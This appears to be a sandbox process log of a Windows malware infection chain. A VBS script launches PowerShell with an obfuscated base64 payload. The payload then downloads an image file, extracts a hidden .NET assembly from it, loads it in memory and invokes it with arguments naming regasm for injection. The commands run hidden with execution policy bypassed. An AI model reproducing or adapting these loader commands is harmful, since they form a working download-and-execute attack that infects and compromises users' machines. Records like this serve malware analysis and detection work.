wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\HTMLIEbrowserChromehtml.vbs
652powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2212powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('PwCimageUrl = XQ4https://uploaddeimagens.com.br/images/004/654/536/original/new_image.jpg?1698957750XQ4;P'+'wCwebClient = Ne'+'w-Object System.Net.WebClient;PwCimageBytes = PwCwebClient.DownloadData(PwCimageUrl'+');PwCimageText = '+'[System.Text.Encod'+'ing]::UTF8.GetString(PwCimageBytes);PwCstartFlag = XQ4<<BASE64_S'+'TART>>XQ4;PwCendFlag = XQ4<<BASE64_END>>XQ4;PwCstartIndex = Pw'+'CimageText.IndexOf'+'(PwCstartFlag);PwCendIndex = PwCim'+'ageText.IndexOf(PwCendFlag);PwCstartIndex -ge '+'0 -and PwCendIndex -gt Pw'+'CstartIndex;PwCsta'+'rtIndex += PwCstartFlag.Length;PwCbase64Length '+'= PwCendI'+'ndex - PwCstartIndex;PwCbase64C'+'omm'+'and = P'+'wCimageText.Substri'+'ng(PwCstar'+'tIndex, Pw'+'Cbase64Length);PwCc'+'ommandBytes = [System.Convert]::FromBase64String(PwCbase64Command);PwCloadedAssembly = [System.Reflection.Assembly]::Load(PwCcommandBytes);PwCtype = Pw'+'CloadedAssembly.GetType('+'XQ'+'4Fiber.HomeXQ4);PwCmethod = PwCtype.GetMethod('+'XQ4VAIXQ4).I'+'nvoke(PwCnull, [obje'+'ct[]] (XQ4'+'dHh0LlJNUi80MjMzLzEzMS4zMy41NDIuMjcx'+'Ly'+'86cHR0aA==XQ4 , XQ4XQ4 , X'+'Q42XQ4 , XQ4re'+'gasmXQ4 , XQ45XQ4 , XQ4C:5cCWindows5cCTemp5cCXQ4, XQ4hkcmdfXQ4))') -crEPlAcE 'XQ4',[CHAR]39 -replACE '5cC',[CHAR]92-replACE ([CHAR]80+[CHAR]119+[CHAR]67),[CHAR]36) |INVOKE-EXpRession"
2320